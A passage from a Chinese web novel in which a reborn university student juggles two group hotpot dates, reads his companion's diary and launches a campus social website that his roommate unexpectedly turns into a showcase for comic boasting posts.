“陈让，下午的寝室联谊，我们去巴蜀人家吃火锅吧，就我们上次在江安校区吃得那家，我查过了，这家店是连锁，我们望江校区也有门店！” “靠——” 于是陈总表情变得很der，拍了拍脑袋。 终于想了起来，周一下午，他跟赵兰蕤从江安校区坐校车回老校区时，这姑娘是跟他说过这茬儿。 把早就提过的、两个寝室的联谊活动定在周六——也就是今天。 考虑到三个狗儿子都单身，要能撮合成一对都算功德无量，当时陈总顺口也就答应了下来。 也就是说——撞车了。 陈总前世今生都信奉一个言而有信。 答应了赵兰蕤，肯定不能爽约。 林静姝这边更不能改期——都已经说好了的，且还拖了这么久。 那该怎么办？ 陈总开动自己的小脑袋瓜子，充分发挥主观能动性后，有了个骚主意。 来波时间管理！ “赵同学，吃火锅呀，可以的啊，中午可以吗？” “陈让，中午巴蜀人家没有开门啊，怎么啦，你下午有事儿？” “下午没有，但是傍晚有，那我们早一点吧，五点怎么样？” “可以的，我跟室友们说一下。” 跟赵兰蕤这边说定后，陈让又给林静姝发了信息。 “呦呦同学，我下午有点事儿，吃火锅要晚点，七点钟吧。” “好吖。” 两边都搞定后，陈总默默给自己点了个赞，心想陈富贵你真他妈是个小机灵鬼。 五点和七点，中间有整整两个小时间隔，足够操作了。 他放下手机，看着宿舍里其他哥仨。 “哥几个，今天下午一起去吃火锅，这事儿我说过吧？” 哥仨陆续回答。 “六哥，你说过了啊——” “六子，你他妈忙晕了吧？” “六哥，话说嫂子她们寝室的妹子，颜值都怎么样啊，配得上我的花容月貌吗？” 陈让摸了摸鼻子。 “咳，三位大爹，现在我这边有个小问题啊——” 躺床上的王子聪，一骨碌从床上爬了起来。 “焯，六子，你都破天荒叫大爹了，肯定有事！你他妈不会想说，今晚联谊取消了吧，老子还专门搞了发型的！” 杨少杰和薛文彬也都看向某人，伴随满脸的幽怨——他俩也捯饬好久的。 “那不能——”陈让嘿嘿一笑，“三位大爹，今晚的联谊，不仅没有取消，而且我还安排了两场哦。” 在哥仨十分疑惑的目光中，陈总巴拉巴拉的解释。 听他说完，哥仨何止目瞪口呆，简直目瞪口呆。 “六子，你他妈是牛逼啊，操作这么骚的！” “六哥，服就一个字，我不止说一次……我他妈天天说！” “六哥，明天我去学校图书馆，要没看到你写的书，我就把图书馆给砸咯！” 哥仨都感受到了一波、直抵灵魂深处的陈总牌震撼。 下午四点半，陈让带着打扮都挺骚包的三条狗儿子，直奔东大门的“巴蜀人家”火锅店。 边走边跟哥仨叮嘱，待会儿第一波都少吃点。 毕竟同样的火锅，他们需要吃两次。 哥仨都翻白眼，咕哝着知道了，心里则都在骂陈六子真狗币。 到了“巴蜀人家”，陈让发现赵兰蕤她们寝室四个妹子已经先到。 颜值最高、身材最好的，自然是赵大美女。 其他三个妹子却也不差。 这个从六零六其他哥仨、双眼都在放光就看得出来。 各自落座，简单介绍后，开始吃火锅。 陈让跟赵兰蕤情商都非常高，有这两人在，饭桌上永远不愁找不到话题。 中间的过程，赵兰蕤时不时的会给陈让烫毛肚——要不说人家赵姑娘情商高呢，上次吃过一次火锅，她就把陈让喜欢吃什么给记住了。 陈让面前的茶杯，茶水也永远处在三分之二杯的状态。 不用说，也是赵大美女时刻注意着在给他斟。 她身上有川渝妹子的泼辣，却也不缺江南美人的温婉。 这大概也算是遗传吧。 她妈妈是个川渝美人，爸爸则是一枚祖籍苏州的帅哥。 六零六其他哥仨看着，自是羡慕嫉妒恨。 但是想到待会儿、还会来个颜值身材气质都比赵大美女更好的天仙少女，哥仨默默地把“恨”撤回了。 俩字，不配！ 没有喝酒的缘故，吃完第一顿火锅也才六点出头。 等赵兰蕤她们四姐妹走后，陈让让哥仨自己找地方磨磨时间，顺便消食。 他则进了学校，边走边给林静姝打电话。 “喂——” 很快接通，里面传来林大美人带着明显愉悦的声音。 陈总还听到了其他女孩子在细碎的说话。 显然林静姝三个室友此刻都在她旁边。 “呦呦同学，我忙完了，你在干嘛？” “富贵同学，我在等你给我打电话。” “除了这个呢，整个下午，就没干别的？” “有的，我刚才去打水洗了脚……” “洗脚干嘛，你出来吃火锅，待会儿不还要走回去……” 陈总问了一半、就反应过来自己傻逼了。 “洗脚……咳……洗脚好啊，勤洗脚有益身心健康！” 跟林静姝结束通话后，陈让站在经济学院女生宿舍门口等她。 已是黄昏，暮色四合。 先前还耀武扬威的大光球，已经敛去了威风，只有小半截还露在地平线之上，散发着最后的余晖，将世间万物都染上橘黄滤镜。 东方天际，一轮弦月刚刚崭露，有种诗意的朦胧。 “月上柳梢头、人约黄昏后”，陈让视野所及，女生宿舍楼下，到处都是谈情说爱的年轻情侣。 起先只是正常聊天，很快许多对儿就发展成了拥吻。 “这就是当代大学生的素质？伤风败俗，有辱斯文！偌大的蜀州大学，难道就容不下一张安静的书桌？” 某人正骂骂咧咧，传来个声音： “你就是陈让吧，林静姝男朋友，介绍一下，本格格叫叶芊芊——” 原来是林静姝和她的三个室友到了。 跟陈让说话的叶芊芊，身高得有177了吧，比林静姝都要略高——不过她躺下来绝对不如。 毕竟林大美人、乃是恐怖如斯的D级能力果实拥有者。 叶芊芊嘛，陈让很想送句话给她。 “对A，要不起！” 叶格格颜值还是不错的，跟陈总心中的美女最低标准、米莱同学差不多，不过两人完全是不同的类型。 陈总跨步上前，笑着跟林静姝的三个室友打招呼。 “三位美女好，我叫陈让，很高兴认识你们。” 叶芊芊边翻白眼边抱怨。 “陈让，等你请客可不容易啊，我就纳闷了，你有那么忙么？知不知道你家林静姝天天都在寝室想你啊，我看着都心疼，你也不知道多陪陪她！” 陈让辩解：“我有陪的啊，虽然频率不是那么的高……再说你又不是林静姝肚皮里的蛔虫，怎么知道她天天在想我？” 说完看了看林静姝。 林大美人脸颊顿时变红。 叶芊芊继续翻白眼：“我就说你不关心林静姝吧，她有没有天天想你，你不知道去翻翻她的QQ空间？” 陈让有些愣——他还真没看过林静姝的QQ空间。 林大美人的脸更红了。 她轻轻扯了扯叶芊芊的衣袖，眼中带着些哀求。 叶芊芊促狭一笑，终于没再蛐蛐。 十来分钟后，陈让带着四个姑娘又到了“巴蜀人家”。 火锅店的几个男服务生，再次看到陈总，表情明显诧异。 这小子不刚吃完火锅么？ 怎么又来了？ 而且还带了另外四个不同的妹子？ 他们对陈让有印象，主要还是因为赵兰蕤。 在没有林静姝这个论外选手的场合，赵大美女就是最靓的那个妞。 刚才吃火锅时、赵大美女对陈让多殷勤啊，看得他们眼睛都直了，那叫一个羡慕嫉妒。 现在陈让又来了，身边还跟着个颜值气质都更好、仿佛天仙的姑娘，哥几个能不傻眼？ 不过服务生们没有多嘴。 不评价客人私事，行业基本操守。 进了包间后，叶芊芊表情疑惑。 “陈让，你发现没，刚才那几个服务生，看你的眼神都怪怪的……” 陈总揣着明白装糊涂：“有么？” 叶芊芊点头，说绝对有，又转头问林静姝，她是不是也发现了。 林静姝摇头，说芊芊，我没有发现哦。 叶芊芊：“不能吧，那么明显的……” 林静姝：“芊芊，我真的没有发现，因为我一直在看陈让，没空看其他人。” 陈总：“……” 好吧，这姑娘又开始拿零帧起手、拿大招当平A使了。 自己攒点血条容易么？ 又尼玛被直接清零！ 叶芊芊和其他两个姑娘：“……” 不是亲眼所见，谁又敢相信，林静姝这样仿佛神圣、就该在悬崖上千年的女神，竟是个该死的恋爱脑？ “咳，美女们，你们先点菜啊，我问问我的室友们到哪儿了！” 陈让说着，拿起手机在宿舍群里给哥几个发了个信息，让他们可以过来了。 姑娘们倒也真不客气。 尤其叶芊芊，拿起菜单一顿勾画，基本都荤菜，也不管能不能吃得完。 陈让有些吃惊，这姑娘明明那么瘦，胸前半两肉怕都没有，居然能吃这么多？ 难道她也跟哆啦A梦一样，肚皮里有个异次元小口袋？ 叶芊芊点完菜后，注意到了陈让的表情，跟林静姝吐槽。 “呦呦，你家陈让有点抠门吧，点几个肉菜他就心疼啦？” 陈让翻白眼：“这位格格能别埋汰我了么，您哪儿看出来我肉疼了啊？您尽管吃，吃成猪我都不带眨眼儿的！” 陈总上辈子也是走过南闯过北的，跟叶芊芊来几句正宗京片子属于手拿把掐。 “这还差不多！” 叶芊芊说完才觉得没对。 “陈让……我怎么觉得你在损本格格？” “叶格格，咱把‘觉得’去掉，堂堂九八五大学生，完全可以自信一点的！” “……” 叶芊芊脸颊抽搐，转头看着林静姝。 “呦呦，你都不管管你家陈让？” 林静姝想了想：“陈让……咱们还是把‘觉得’加上吧？” 叶芊芊：“……” 剩下俩姑娘，笑得那叫一个花枝乱颤。 陈总也笑得“库库库”的。 林静姝微红着脸问陈让：“唔，我是不是说错话啦？” 陈总果断摇头：“呦呦同学，那不能，请继续保持！” “昂——” 得到某人认可后，学神少女变得非常高兴，月牙般的桃花眼又开始结蜂蜜。 叶芊芊这才明白，自己找林静姝告状有多愚不可及。 人家可是两口子，夫唱妇随的，她算哪根蒜苗啊。 此时六零六其他哥仨到了，肚皮却都还鼓鼓的。 陈让“厅里厅气”的敲了敲桌子：“我说哥几个，不是约好了七点么，现在都七点十分了，有没有一点时间观念，居然敢让美女们等？还不赶紧的，给美女们赔罪！” 哥仨脸颊抽搐，心里把某人骂翻了天。 “挨千刀的陈六子！” 不过在陈总眼神压迫下，哥仨还是老老实实道了歉。 不然呢？ 陈六子现在可是班长。 得罪他、被穿小鞋怎么办！ 接下来陈总又走了一遍流程——互相介绍，各自落座，然后开吃。 姑娘们胃口都挺好。 六零六其他哥仨，就真有些吃不下去了。 喜欢吃火锅的都知道，这玩意儿刚开始好吃的批爆，然后口感随着饱腹程度断崖下跌。 吃饱后就会腻得一口吃不下。 吃到一半时，姑娘们开始嫌弃哥仨。 尤其叶格格。 讲道理嘛，三个大老爷们儿，怎么胃口这么差呢，连她一个大姑娘都不如。 哥仨都感觉到自己被妹子们鄙夷了，但是有苦说不出。 陈让倒还好。 第一场他严格控制食量，只吃了个四五分饱。 哪像那三个铁憨憨，明明跟他们说过留点肚皮的，真吃起来却都像饿死鬼投胎。 吃完火锅后，其他人都回了宿舍。 陈让拉着林大美人的小手，逛起了学校。 晚上八点过，天上挂着一轮弦月，月色清冷又静谧。 桂花正值花期，香味丝丝缕缕，十分好闻。 两人在湖边觅了地儿，肩并肩坐下。 晚风徐来，吹得湖面荡起许多涟漪，灯光辉映湖面，又给波纹嵌上淡淡银边，仿佛许多游鱼。 陈让边给林静姝驱赶蚊虫，边叫了她一声。 “呦呦同学。” “怎么啦？” “对不起，这段时间太忙，有些忽略你了。” “陈让，没关系的，有芊芊她们带我玩，我也不会无聊的。” “真的？” “真的。” “林静姝，说谎的人，鼻子会变长的哦。” 林大美人赶紧摸了摸自己高-挺又秀气的鼻子。 “陈让，你骗我！” “噗，这么低级的谎言，也只有你愿意相信了……还智商147呢，林静姝，你就是个笨蛋！” “陈让，我当然知道就算说谎鼻子不会变长……但是你都这么说了，我要是不去相信一下，岂不是不给你面子吖。” “……” 陈总听得心里酥-麻，仿佛过电。 姑娘，咱别撩了好不好，你富贵哥堂堂未来大帝，都快坏掉了。 此时某位学神少女，环顾四周，确定没人后，冷不丁冒出来一句话。 “陈让，我给你摸一摸-我的胸吧！” “噗！！！” 某人没喝水都直接呛住了。 “你……你说啥？” “胸给你摸一下啊，你不一直想摸么？” “我不是，我没有，别瞎说……” “富贵同学，说谎的人，鼻子会变长的哦。” 于是某人也下意识摸了一下鼻子，然后就靠了一声。 涨知识了，只知道谈恋爱会让人变笨，没想到“谈友爱”也会。 不然机智如陈总，怎么会下意识去摸鼻子？ 某位学神少女叫陈总摸她的胸，当然不可能是在调戏他。 她只不过想证明自己是个大方的姑娘——尤其对自己最好的朋友。 陈总当然不可能真摸她。 他觉得以某位女士对女儿近乎病态的控制欲，指不定时刻都有私家侦探在偷拍他跟林静姝。 真摸，狗头还要不要了？ …… 跟林静姝逛完学校，回到宿舍后，陈让发现三个狗儿子都还挺精神。 见陈让回来，哥仨眼巴巴凑过来，急不可耐问他，嫂子们的室友如何评价他们。 陈总脸颊不由抽搐。 嫂子就嫂子，何必加个“们”？ 虽然他写了本《我在蜀大当渣男》的小说，但他真没想当渣男的啊。 今天这波时间管理，纯属凑巧，不得已而为之。 哥几个有诉求，陈让当然满足。 先给赵兰蕤发了信息。 几分钟后，赵姑娘回信了，说她的室友们，对六零六哥几个印象都还好，就是对那个叫王子聪的观感略差，觉得他不接地气…… 陈让把信息给哥仨看，王子聪脸颊抽搐，薛文彬和杨少杰都笑得不行，开心加愉悦。 “喂，哥几个，讲道理嘛，我一个生来就在罗马的富二代，不接地气也很正常的啊……” 王大少瘪瘪嘴后，再次看向陈让。 “六子，问问另一个弟妹啊，她们寝室怎么评价我的，总不会也觉得我不接地气吧？” 薛文彬和杨少杰，也都眼巴巴看着陈让。 这个年龄段的男孩子就是这样，特别好奇和在意自己在异性心里面的形象。 陈让嗯了一声，给林静姝也发了条信息。 林大美人的消息很快来了，陈让看完后没忍住，直接笑出了声。 都不想给三条狗儿子看了——怕挨打。 “陈让，芊芊她们说，对你的室友们没其他印象，就是觉得他们身材管理特别差，明明身上其他地方都还好，却个个都有小肚腩……好难看哦。” 哥仨看完信息，不约而同开骂。 “草——挨千刀的陈六子！！！” 半小时后，洗漱完毕的陈让，躺在了床上。 睡觉前，他想起了傍晚时叶芊芊跟他说过的话，于是点开了林静姝的QQ空间。 整个高中时代，认识自己之前，林静姝都没有QQ。 认识自己一段时间后，方才申请了QQ，又过几天后，她学会了玩空间，然后就当成日记本用了，甚至把自己申请QQ前的日记也搬了上去。 这姑娘肯定不知道，QQ空间不主动设置隐私模式的话，所有人都是可以看的。 “四月三十号，认识了一个男孩子，他好糗哦，又被喜欢的女孩子晃点，又被老师训，搞不好还要全校念检讨……说话也颠三倒四、奇奇怪怪的，居然问我要不要当他的妈妈……” “五月一号，知道了那个男孩子的名字，他叫陈让，小名富贵，虽然他是个笨蛋，但是他说话有一丢丢的好听，我决定尝试性的跟他做朋友……” “五月四号，第一次跟陈让到学校食堂吃饭，我抢了他的红烧排骨，红烧排骨真好吃，他的发小说他不配给我提鞋，然后他就叫我把鞋脱下来给他提……朋友之间，真的是这么相处的？这家伙嘴巴好毒啊，以至于他的发小追着打他，不知道为什么，我也想给他一拳！” “五月十二号，陈让带我逛了文庙，让我坐他的自行车，还带我打电动，虽然我打不过他，但我还是好开心！” “五月十五号，陈让在台上讲话，我在台下鼓掌，他明明那么好的，那个叫夏灵珊的女孩子，为什么就不珍惜他呢。” …… “六月十一号，高考结束后，妈妈带我到日本旅游，富士山的云很好看，可是一想到陈让没有跟我一起看，它好像也没那么好看了……” “六月十三号，妈妈还是想送我去英国读书，可是英国又没有陈让……长这么大，我第一次跟妈妈吵架……妈妈说我可以留在国内上学，但是不能跟陈让谈恋爱、恋爱是什么呢？我跟陈让……不是最好最好的朋友吗？” “六月二十号，终于回国了，陈让带我去游泳，超开心！不过他居然说游泳馆的那条黑狗好白，唔……就很奇怪。” …… 最近的一篇，半个小时前才发的。 “九月十九日，陈让请我的室友们吃火锅，吃完火锅陈让又带我散步……回宿舍后，芊芊追着问我，陈让到底有什么好的，唔……我也答不上来，但陈让一定就是世界上最好最好的人！也不知道为什么，才半小时没见，我就开始有一丢丢的想他了，也不知道他明天会不会带我玩……” 看着这些热烈又真诚的字句，陈让身体抑制不住颤-栗，仿佛被电流击中。 终究没有按捺住，他给林静姝发了条信息。 “林呦呦，今晚月色真美。” 某位学神少女居然也还没睡，很快回了一句。 “对呀，富贵同学，风也特别温柔。” 第86章 先天网红圣体 第八十六章 先天网红圣体 第二天，零九年九月二十日，星期天。 如果把时间线往后推十几二十年，有人要编纂一部《中-国互联网大事记》，今天绝对绕不开，甚至值得大书特写。 因为十年后，近乎在国内互联网占据半壁江山的“星环科技”，旗下第一款产品“众众网”，就在今天内测。 要搞事业肯定要开公司，开公司就得有名字——“星环科技”就是陈总早就想好的名字。 至于这个名字好不好听，陈总表示没所谓。 “入关后自有大儒替我辩经”。 是“阿里巴巴”很好听、还是“字节跳动”很通顺啊？ 扯回现在—— 站在陈总这个亲身经历者角度，“众众网”内测第一天，压根就跟“波澜壮阔”不沾边，更扯不上什么“宏大叙事”。 网站上线是上线了，但是一个真实用户都没有。 毕竟还没开始推广。 如何引流——这个陈总早就制定好了相应计划。 首先就是砸钱请水军，在各大论坛发帖。 主要流量池，放在蜀大和附近几所高校的贴吧。 零九年，百度贴吧流量之大，可谓凶的批爆。 值得提一嘴儿—— 贴吧一直没受到李老板重视，以至于后来各种“不当人子”，导致用户大批量流失。 要百度系能把贴吧首位度提起来，用心经营，得是多大的流量池？ 后面移动互联网时代-开启后，谁有流量谁就是大爹，李老板指不定能成全国首富！ 不过话又说回来——不短视还能叫百度系？ 李老板不重视贴吧用户，陈总可是很心水的——来来来，老哥们，都投入陈总怀抱吧，给你们上帝般的用户体验！ 还有就是线下地推。 第一步肯定是发传单。 这个吧，找那些做兼职的大学生就行。 零九年，五十块就能让一位九八五大学生给你打一天工。 至于承办大型活动、拉横幅宣传什么的，后面陈总肯定也会搞。 现在没那个必要。 循序渐进嘛。 等“众众网”有一定日活量再说。 “众众网”内测版本成功上线，距离陈总撬掉“人人网”基本盘，取而代之的战略目标，还差十万八千里。 但是大小也算喜事。 陈总决定用早起来庆祝。 大周末，他七点钟就起床了。 洗漱完毕，发现宿舍里三个狗儿子，都还在蒙头大睡。 “哎，愚蠢的人类，只知道折服于我的智慧和远见，我这一生惊人的刻苦和坚韧，却是从无观众。” 如是喟叹后，陈总决定来个“独乐乐不如众乐乐”。 他摇醒了睡得最香的王大少。 王子聪睁开眼睛，边抠眼屎边咕哝。 “六子，你他妈摇我干嘛，老子还以为地震了！” “王老五，别他妈睡了，今天有早八——” “啊？”王子聪显然还处于睡懵的状态，“六爷……我他妈困死了，老师要点名的话，要不你给我答个到？” “屁，你还是赶紧起来吧，我不是班长么，刚辅导员通知我了，今天的早八，咱们学院的刘老院长会来视察！” “靠！” 王大少吓了一跳，一骨碌就爬了起来，然后就发现了“华点”。 “不对啊，六子，杨老三和薛老四，不都还在睡，你干嘛只摇我？” 陈总压低声音：“五哥，你这话说的，咱哥俩什么关系……那俩货起不起得来，关我屁事？” 王子聪又感动又激动：“这话五哥我爱听——别说六零六了，放眼整个金融一班，也就咱哥俩这样的卧龙凤雏，才配在一起玩！” “……” 陈总脸颊抽了抽。 心想你愿意当“卧龙凤雏”自个儿当去！ 所以说开心麻花是真牛逼。 一部电影就把“卧龙凤雏”这个绝对的褒义词、生生变成了贬义。 “咳，五哥，小点声，虽说我的确是‘天日之表’，你也真就是‘龙凤之姿’，但是你我兄弟知道就行了，要接地气嘛，我先走了，你赶紧起来……” 陈让说完便走。 王子聪强忍困意、赶紧起了床，洗漱完毕回到宿舍后，他脑袋又有些懵。 “话说……今天早八上哪节课来着？” 想了半天，硬是没想起来。 于是边查课表，边摸出手机看日期。 “焯——陈六子你个挨千刀的货啊！” 王大少出离愤怒。 仙人板板，今天他妈星期天，陈六子这货居然跟他说有“早八”？ 王子聪越想越气，于是也决定“独乐乐不如众乐乐”一下子。 他把杨少杰跟薛文彬都给摇醒了，在两人懵逼目光中，王大少一本正经的解释： “老三，老四，你俩平时睡觉都打呼噜的，一个比一个响，今天居然没声儿，我怕你俩死了，所以摇一摇……” “哎，别扔枕头啊，我可以对天发誓，哥们儿真是在关心你们！” 拎着刚买的笔记本电脑出门后，陈让直奔学校图书馆，继续自己的抄书大业。 为什么不在宿舍写？ 寝室写小说——咳咳，即便是陈总也会觉得羞耻。 开写之前，他先在QQ上跟杨艺聊了半小时，探讨了一下“众众网”内测版本上线后，可能出现的问题，以及相应解决方案。 未雨绸缪——陈总向来的风格。 跟自己的SSR程序员聊完后，陈总整理一会思路，然后开始码字。 依旧文思如尿崩，一个上午就写了差不多两万字，直接从男主“陈汉生”高中毕业写到进入大学，邂逅了宝藏女孩“沈幼楚”。 然后陈总打开“众众网”，以“陈富贵”的笔名，将这本名叫《重生之我在蜀大当渣男》的小说全部上传。 “众众网”肯定不是专业小说网站，没有专门的作者后台。 但是除了山寨“人人网”搞校园社交外，还有个专门的论坛版块，下辖很多子分区。 陈让这篇小说，便是以帖子形式发布的。 全部上传后，他动用了最高等级管理员权限，将这个《重生之我在蜀大当渣男》帖子置顶，顺便给了个全站弹窗，凡是点进“众众网”，都会收到那种。 弹窗推荐词陈总自己写的。 “知名作家、都市文扛鼎大神‘陈富贵’最新力作，今日于‘众众网’首发！” 至于知名在哪里，又扛了什么鼎——年轻了吧，出门在外，面子这玩意儿，你自己不去装，未必还要靠别人给？ 写完小说，陈让给林静姝发了短信，叫她二食堂门口等，然后两人吃了一顿友谊餐。 吃完饭后，林大美人眼巴巴看着某人——不用说，好不容易等到周末，她肯定盼望自己的好朋友带她玩。 陈让其实也很想带她玩——尤其昨晚临睡前、看了她QQ空间那些热烈又真诚的字句。 奈何带不得。 事情真的多。 就说下午—— 首先他得各大高校跑一圈，联系那些搞兼职的学生头子，尽快将地推落实。 然后还得跑一趟江安校区，除了找张文杰拿稿子，还得再召集文学社那帮文艺咖开个会，好好给他们洗洗脑。 众众网需要的稿子，站在当代九八五大学生的角度，的确有些low。 很多怀揣着文学梦的孩子都拉不下身段，写那些不是劈腿就是堕-胎的青春疼痛文学。 陈总必须得给他们上上课，让他们提前几年明白一个绝对正确的道理。 “人不能为了脸就不要钱！” 这么多事要做，他今天真没时间遛某位学神少女。 纵使林静姝看着他的眼神，含着千般眷恋，陈总还是狠下心将她送回了宿舍。 “谈友爱”的确容易上头——别说林静姝，陈让自己也上头。 但是作为一个心理年纪快四十岁的老东西，他暂且还能做到理性的克制。 “一万年太久，只争朝夕”，创业这种事，一旦做起来，那就是开弓没有回头箭，容不得半点歇脚。 就说现在，“众众网”不过开了个头，内测版本才刚捣鼓起来，就砸了三百多万——其中服务器是大头，花了两百来个。 这么大沉没成本，陈总敢按暂停键？ “所爱隔山海”，他首先要有填平山海的能力。 将林静姝送回宿舍后，陈让掏出五块钱买的蓉城地图，开始规划路线。 忙忙碌碌就是一下午。 跟那帮搞兼职的学生头子接洽——这个没什么好说的，有钱就好办事儿。 值得一提，陈总到电子科大那一站时，把大黄哥约了出来，然后把在电子科大招人发传单——这个伟大又艰巨的任务交给了他。 “打虎亲兄弟，上阵父子兵”，也是时候让某个好大儿、为他父皇的江山尽一份力了。 去江安校区给那帮文艺咖洗脑，耗了陈总许多唇舌。 九八五大学生是酱紫的。 还没有受过社会毒打，心里始终有份清高。 尤其陈总洗脑的，还是怀揣着文学梦的文艺咖，难度直接翻倍。 可想而知，这么一圈兜下来，陈让有多累。 晚上八点过回宿舍后，他觉得自己快要散架。 然后就真的快要散架——王大少为首，哥仨围了上来，按着他一顿爆锤。 “扰人清梦等同杀人父母”，陈让早晨那波骚操作，把哥仨清梦都毁了。 陈总不迭告饶，表示欠哥仨一顿饭后，方才保住狗命。 “蚊子再小也是肉”，陈让打开电脑，用王大少的无线网卡连上网络后，将正在内测的“众众网”推给了哥仨。 杨少杰跟薛文彬都兴致缺缺。 王子聪却很神奇的在上面找到了快乐！ 主要归功于杨艺团队搭建的自动回帖系统。 人家王大少什么人——饭可以不吃，妞可以不泡，逼却不能不装。 他注册ID名叫“王少爷”，起先只是抱着给陈让撑场面的心态，发了个炫富帖——晒他的机霸。 王子聪这家伙晒机霸时还配了文，说诺基亚N97绝对是他用过体验感最差的手机，用起来像台电脑，可他明明已经有台苹果电脑了，还说相较于诺基亚、黑莓才更懂手机的真谛…… 别说现在“众众网”没用户。 便是有，怕也懒得回这种意图过于明显的低级装逼帖。 但是架不住王子聪的帖子、有太多关键词。 理所当然——触发了网站的自动回帖系统。 下面一帮“数字人”跟帖。 “哥哥好帅！” “文采斐然！” “哥哥人家要给你生猴子！” 都是些万金油彩虹屁。 王大少并不知道这些都是“假人”。 果断飘了。 立马发了第二个帖子，在网上找了个宾利跑车的图，去水印后发了上去，配文说我才大一就买宾利，是不是太浮夸？可BBA这种暴发户才买的车型，真的不适合少爷我啊。 符合逻辑——这个帖子同样有很多关键词。 一帮“数字人”又开始回帖，继续狂吹王大少的彩虹屁。 王大少更飘。 这段时间，饱受某人打击的他，突然觉得“腰不酸了、腿不疼了、少爷我又站起来了”。 重新找到生命意义的王大少，干脆把自己的帖子整合成了系列——《王少爷的日常》。 而且还给自己树立了鲜明的个人风格。 每个帖子后面，都会加一句“王少爷的日常，就是这么的朴实无华且枯燥”。 不用说，这话听陈总说的，然后被他窃为己有。 后台囫囵看完王子聪所有帖子后，陈总笑得腮帮子生疼。 心想王老五真他妈人才，跟一帮数字人都能聊那么嗨。 他真的，我哭死！！！ 不知不觉又几天过去，距离国庆七天长假，只剩一周不到。 过去这几天，陈总精力基本对半开。 一半放在搞学业，一半放在正在内测的“众众网”。 除此之外，还得抽出部分精力，跟某位学神少女维系革命友谊。 着实给他累得够呛。 “苦不苦，看看长征两万五；累不累，想想革命老前辈！” 以至于这几天早晨，自律如陈总，也得如此这般自我PUA后，才能顺利起床。 不过这种苦逼日子应该持续不了多久。 等“众众网”做出一定成绩后，陈总就打算跟学院方面摊牌。 “老院长，傻了吧，虽然哥们儿看起来像个学霸，但我其实是创业赛道的！” “学习？学个屁的习！成绩好有什么用，将来毕业了，都不一定有给你陈总打工的资格！” 这种话，现在陈让肯定不敢说，但是陈总相信，这天不会太远。 就眼目前收到的数据反馈—— 陈总经营“众众网”的前期策略非常正确。 一周不到，通过网上引流和线下地推，“众众网”就有了四五千日活。 这个数字看着不大，但是对一个从零开始、又没有烧大钱的网站来说，已经很不错。 根本原因，还是陈总找准了差异化赛道，选择了深耕内容。 上周末开完会后，蜀大那帮文艺咖，还真有不小比例被陈总给醍醐灌顶了，这几天给众众网输入了不少高质量稿件，留住了一大帮用户。 陈总这边也不吝啬，按照数据反馈，给这些稿件划分了几个标准。 最低C级，一篇一百，然后每级加五十块。 也就是说，谁能捣鼓出一篇S级的稿子，就能从陈总这儿拿走两百五十块！ 前期的“众众网”，只有消耗，没有产出，陈总又信奉重赏之下才有勇夫，自是花钱如流水。 不过还好——暑假时陈让又没闲着，各种搞钱，这段时间再如何造，银行卡里也还躺着一千多个。 烧不完，根本烧不完！ 值得一提—— “众众网”论坛版块，眼目前活跃度最高的帖子，是他的小说帖《我在蜀大当渣男》，最新章节，催更已经破百。 这个数据，在一个日活量只有四五千的网站，何止可怕，简直恐怖。 这个肯定不是陈总自己的能耐。 大半功劳，陈让觉得应该算在宝藏女孩“沈幼楚”身上。 这个人设实在太成功。 陈总看过的都市文，没有一千也有八百，就没见过写得比“沈幼楚”更出彩的女主——哪怕原作者本人也没办法超越，甚至接近都做不到。 发文才几天啊，小说粉们甚至就自发成立了“幼楚应援会”，甚至还想搞个“寻找蜀大沈幼楚”的线下活动。 活跃度第二高的帖子是哪个？ 居然不是那帮文艺咖的呕心泣血之作，而是王大少无心插柳的装逼系列帖——《王少爷的日常》。 这个帖子牛叉到何等程度？ 甚至有超过《我在蜀大当渣男》的趋势！ 这里面肯定有底层逻辑—— 王大少这人吧，现实里碰到，你会觉得他浮夸、不接地气，各种装尬逼，然而嫌尔弃之，鄙而夷之。 但是放在网上，他就是真正的“先天网红圣体”！ 纯天赋，学不来。 第87章 今天星期遛 第八十七章 今天星期遛 时间线来到了九月二十五日，距离国庆七天长假，只剩不到一周。 忙忙碌碌又是一天，晚上十点过，跟林静姝逛完学校后，陈让拖着疲惫的身躯，回到六零六宿舍。 发现其他哥仨都还挺精神。 杨少杰抱着个手机，趴床上劈里啪啦打着字，伴随满脸跑眉毛。 这货也不知道什么时候，又把刘雯加了回来，然后继续自己的舔狗生涯。 薛文彬在挑灯夜战，研究《高等数学（上）》——广东靓仔进校成绩金融系第二，仅次陈让，却不是天赋型的，而是个卷王。 王子聪这货忙着更新自己的系列帖，正在疯狂查资料。 进校后一直被陈总残酷镇压，王大少就没装成功一个通透的逼，别提有多难受。 好不容易在网上找到了成就感，主观能动性不得拉满？ 别人给众众网写稿子，陈总需要付钱。 到王大少这儿——考虑到《王少爷的日常》系列帖，活跃度和留存度都非常好——陈总倒也想过付稿酬。 但是王少爷不要。 “六子，你居然妄想用你的臭钱砸我？请对你五哥这样生来就在罗马的超级富二代，有点基本的尊重！” 这是王子聪的原话。 这货不要钱就罢了，他甚至还主动砸钱！ 随着“众众网”日活量逐渐提升，他的帖子有了不少真人读者。 然后就有读者闹意见，吐槽他文笔太差，读起来没有代入感。 单纯这么吐槽，王子聪估计还不会上头。 但是下面又有人补充，说这么下去，王少爷你这辈子也超不过隔壁的陈渣男。 这话精准戳到了王子聪的命门——王大少一怒之下，并没有只是怒了一下，而是发动了钞能力，中文系找了个大才子专门帮他润笔，一篇稿子就给一百块！ 陈让知道后感动得都快哭了——有这样的“好兄弟”，他陈富贵何愁大业不成？ 进了宿舍后，某人跟其他哥仨都打了个招呼。 “哟，老三，雯雯同学又理你了啊，想好以后你俩的娃读哪所小学没？” “老四，我他妈最烦就是你，卷可以，滚他妈图书馆去，能不能别把这种歪风邪气、带到咱们六零六？” “哟，五哥又在装逼啦，让我瞅瞅——” 陈总一把将王大少的苹果电脑薅了过来，然后越看越乐呵。 这家伙真是装逼界的天才，跟后世大红大紫的“朱一旦”，绝对算得上“卧龙凤雏”。 最让陈让忍俊不禁的——这家伙居然把自己的事迹、套在他身上装逼。 发了个帖子，说他现在很烦恼，同时被两个校花级大美女追，不过他最喜欢的，还是老粘着自己的天仙级学神少女…… 陈总看完，竟是有些暗爽。 要不是王子聪绘声绘色给写了出来，他还真不知道，站在旁观者视角，这事儿有多招人嫉恨。 瘪瘪嘴后，陈让翻了个白眼。 “五哥，你他妈有毒吧，装逼就好好装你的逼，干嘛把我的事迹，套在你的身上？” “六子，你懂个锤子的创作！施耐庵写水浒，未必就真造过反？” 